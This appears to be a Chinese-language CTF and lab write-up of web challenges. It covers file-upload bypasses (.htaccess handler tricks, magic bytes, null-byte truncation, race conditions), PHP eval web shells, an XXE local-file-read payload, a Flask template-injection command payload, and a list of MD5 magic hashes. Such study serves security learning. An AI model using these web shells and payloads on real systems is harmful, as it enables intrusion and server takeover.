文件上传
JavaScript绕过
1.方法一:
禁用JavaScript,直接上传木马。
2.方法二:
将checkFile()函数删除后,上传木马。
MIME绕过
媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。
MIME的组成结构非常简单;由类型与子类型两个字符串中间用 ‘/‘ 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。
通用的结构为:type/subtype
MIME类型对大小写不敏感,但是传统写法都是小写。
我们只需要将Content-Type改为合适的类型就可以。
htaccess
htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
上传一个.htaccess内容如下的文件:
1 <FilesMatch "1.jpg"> 2 SetHandler application/x-httpd-php 3 </FilesMatch>
功能:将1.jpg按php文件执行
再上传1.jpg,完成木马注入。
利用蚁剑进行连接,获得flag。
文件头绕过
只需要在文件开头加入正确的文件头,例如在gif文件的开头输入GIF89a:
再利用蚁剑进行连接。
常见文件头:
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
HTML (html),文件头:68746D6C3E
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Adobe Acrobat (pdf),文件头:255044462D312E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
字符串替换-1
有提示图片可以知道,该题目过滤了许多东西。
我们可以利用pphphp进行绕过,
字符串替换-2
与1不同的是,替换时加入了空格,我们可以利用大小写进行绕过:
黑名单
黑名单是设置不能通过的用户,黑名单以外的用户都能通过。
phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。
00截断-1 (GET型)
在1.php处进行连接。
00截断-2 (POST型)
在1.php处进行连接。
条件竞争
unlink()函数导致木马文件会在服务器存在一定的时间,再被清除。
我们可以利用burpsuit使文件反复上传,并利用python反复访问网页将上传的木马文件运行。
木马文件内容:
<?php fputs(fopen(‘xiao.php‘,‘w‘),‘<?php eval($_REQUEST[1]);?>‘);?>
python文件内容:
import requests url = "文件位置" while True: requests.get(url)
二次渲染(未成功)
1.找的一个gif图片,在图片末尾加入<?php @eval($_POST[1]);?>
2.上传图片到网页,并将图片下载下来。
3.在十六进制编辑器中,寻找两张图片相同的地方。
4.在相同的地方加入一句话木马,上传、连接。
代码审计
1 $is_upload = false; 2 $msg = null; 3 if(!empty($_FILES[‘upload_file‘])){ 4 //检查MIME 5 $allow_type = array(‘image/jpeg‘,‘image/png‘,‘image/gif‘); 6 if(!in_array($_FILES[‘upload_file‘][‘type‘],$allow_type)){ 7 $msg = "禁止上传该类型文件!"; 8 }else{ 9 //检查文件名 10 $file = empty($_POST[‘save_name‘]) ? $_FILES[‘upload_file‘][‘name‘] : $_POST[‘save_name‘]; 11 if (!is_array($file)) { 12 $file = explode(‘.‘, strtolower($file)); 13 } 14 15 $ext = end($file); 16 $allow_suffix = array(‘jpg‘,‘png‘,‘gif‘); 17 if (!in_array($ext, $allow_suffix)) { 18 $msg = "禁止上传该后缀文件!"; 19 }else{ 20 $file_name = reset($file) . ‘.‘ . $file[count($file) - 1]; 21 $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘]; 22 $img_path = UPLOAD_PATH . ‘/‘ .$file_name; 23 if (move_uploaded_file($temp_file, $img_path)) { 24 $msg = "文件上传成功!"; 25 $is_upload = true; 26 } else { 27 $msg = "文件上传失败!"; 28 } 29 } 30 } 31 }else{ 32 $msg = "请选择要上传的文件!"; 33 }
action属性是提交的目标。
method属性是提交所用的HTTP方法,常用的就是 POST 和 GET,文件上传一般用 POST。
enctype属性必须要写成这样,因为文件上传和普通的提交具有不同的编码方式。如果不写的话,可能会被当做urlencoded,就是k1=v1&k2=v2的键值对形式,导致解析不出东西。
最后是文件输入框,它的name属性非常重要,它是PHP脚本中寻找文件的关键字。
接下来是PHP脚本中的东西,PHP中通过$_FILES对象来读取文件,通过下列几个属性:
$_FILES[file][‘name‘] - 被上传文件的名称。
$_FILES[file][‘type‘] - 被上传文件的类型。
$_FILES[file][‘size‘] - 被上传文件的大小(字节)。
$_FILES[file][‘tmp_name‘] - 被上传文件在服务器保存的路径,通常位于临时目录中。
$_FILES[file][‘error‘] - 错误代码,0为无错误,其它都是有错误。
如果上传的是数组的话,会跳过$file = explode(‘.‘, strtolower($file));
。并且后缀有白名单过滤。
而最终的文件名后缀取的是$file[count($file) - 1]
,因此我们可以让$file
为数组。$file[0]
为1.php/
,也就是reset($file)
,然后再令$file[2]
为白名单中的jpg
。
此时end($file)
等于jpg
,$file[count($file) - 1]
为空。而 $file_name = reset($file) . ‘.‘ . $file[count($file) - 1];
,也就是1.php/.
,最终move_uploaded_file
会忽略掉/.
,最终上传1.php
。
在./upload/1.php处进行连接。
xxe-lab
1 <?xml version="1.0"?> 2 <!DOCTYPE admin [ 3 <!ENTITY test SYSTEM "file:///路径"> 4 ]> 5 <user><username>&test;</username><password>admin</password></user>
web1
1 <?php 2 include(‘flag.php‘); 3 $coffee=$_GET[‘coffee‘]; 4 if(!is_numeric($coffee)) 5 { 6 echo $coffee.‘</br>‘; 7 if($coffee==8888) 8 9 echo $flag.‘</br>‘; 10 } 11 show_source(__FILE__); 12 ?>
参数coffee不能是数字或数字字符串,且coffee==8888
可以利用?coffee=8888%00进行绕过。
web2
过滤了cat,flag
我们可以用more等替换cat,用/f*替换/flag
flask-template
?name={{‘‘.__class__.__base__.__subclasses__()[117].__init__.__globals__[‘__builtins__‘][‘__import__‘](‘os‘).popen(‘cat ../flag‘).read()}}
不可能的任务
1 <?php 2 3 $flag = file_get_contents("/flag"); 4 5 highlight_file(__FILE__); 6 7 if(!(isset($_GET[‘a‘]) && isset($_GET[‘b‘]) && isset($_GET[‘c‘]))) { 8 die("no"); 9 } 10 11 $a = $_GET[‘a‘]; 12 $b = $_GET[‘b‘]; 13 $c = $_GET[‘c‘]; 14 15 $check = $a and $b; 16 if($check) { 17 if($a and $b) { 18 die("No flag!Try it again!"); 19 } else if("0e23333333" == md5($c)) { 20 die($flag); 21 } else { 22 die("what?"); 23 } 24 } else{ 25 die("Are You kidding?"); 26 }
要想得到flag,那就必须实现$check为真,$a and $b为假。
因为‘=’的优先级大于‘and’,所以实际上是$check=$a为真,$a and $b为假。
既a=1,b=0
只要md5($c)=0就可以
payload:/?a=1&b=0&c=240610708
常见的0e开头的md5和原值:
1 QNKCDZO 2 0e830400451993494058024219903391 3 240610708 4 0e462097431906509019562988736854 5 s878926199a 6 0e545993274517709034328855841020 7 s155964671a 8 0e342768416822451524974117254469 9 s214587387a 10 0e848240448830537924465865611904 11 s214587387a 12 0e848240448830537924465865611904 13 s878926199a 14 0e545993274517709034328855841020 15 s1091221200a 16 0e940624217856561557816327384675 17 s1885207154a 18 0e509367213418206700842008763514 19 s1502113478a 20 0e861580163291561247404381396064 21 s1885207154a 22 0e509367213418206700842008763514 23 s1836677006a 24 0e481036490867661113260034900752 25 s155964671a 26 0e342768416822451524974117254469 27 s1184209335a 28 0e072485820392773389523109082030 29 s1665632922a 30 0e731198061491163073197128363787 31 s1502113478a 32 0e861580163291561247404381396064 33 s1836677006a 34 0e481036490867661113260034900752 35 s1091221200a 36 0e940624217856561557816327384675 37 s155964671a 38 0e342768416822451524974117254469 39 s1502113478a 40 0e861580163291561247404381396064 41 s155964671a 42 0e342768416822451524974117254469 43 s1665632922a 44 0e731198061491163073197128363787 45 s155964671a 46 0e342768416822451524974117254469 47 s1091221200a 48 0e940624217856561557816327384675 49 s1836677006a 50 0e481036490867661113260034900752 51 s1885207154a 52 0e509367213418206700842008763514 53 s532378020a 54 0e220463095855511507588041205815 55 s878926199a 56 0e545993274517709034328855841020 57 s1091221200a 58 0e940624217856561557816327384675 59 s214587387a 60 0e848240448830537924465865611904 61 s1502113478a 62 0e861580163291561247404381396064 63 s1091221200a 64 0e940624217856561557816327384675 65 s1665632922a 66 0e731198061491163073197128363787 67 s1885207154a 68 0e509367213418206700842008763514 69 s1836677006a 70 0e481036490867661113260034900752 71 s1665632922a 72 0e731198061491163073197128363787 73 s878926199a 74 0e545993274517709034328855841020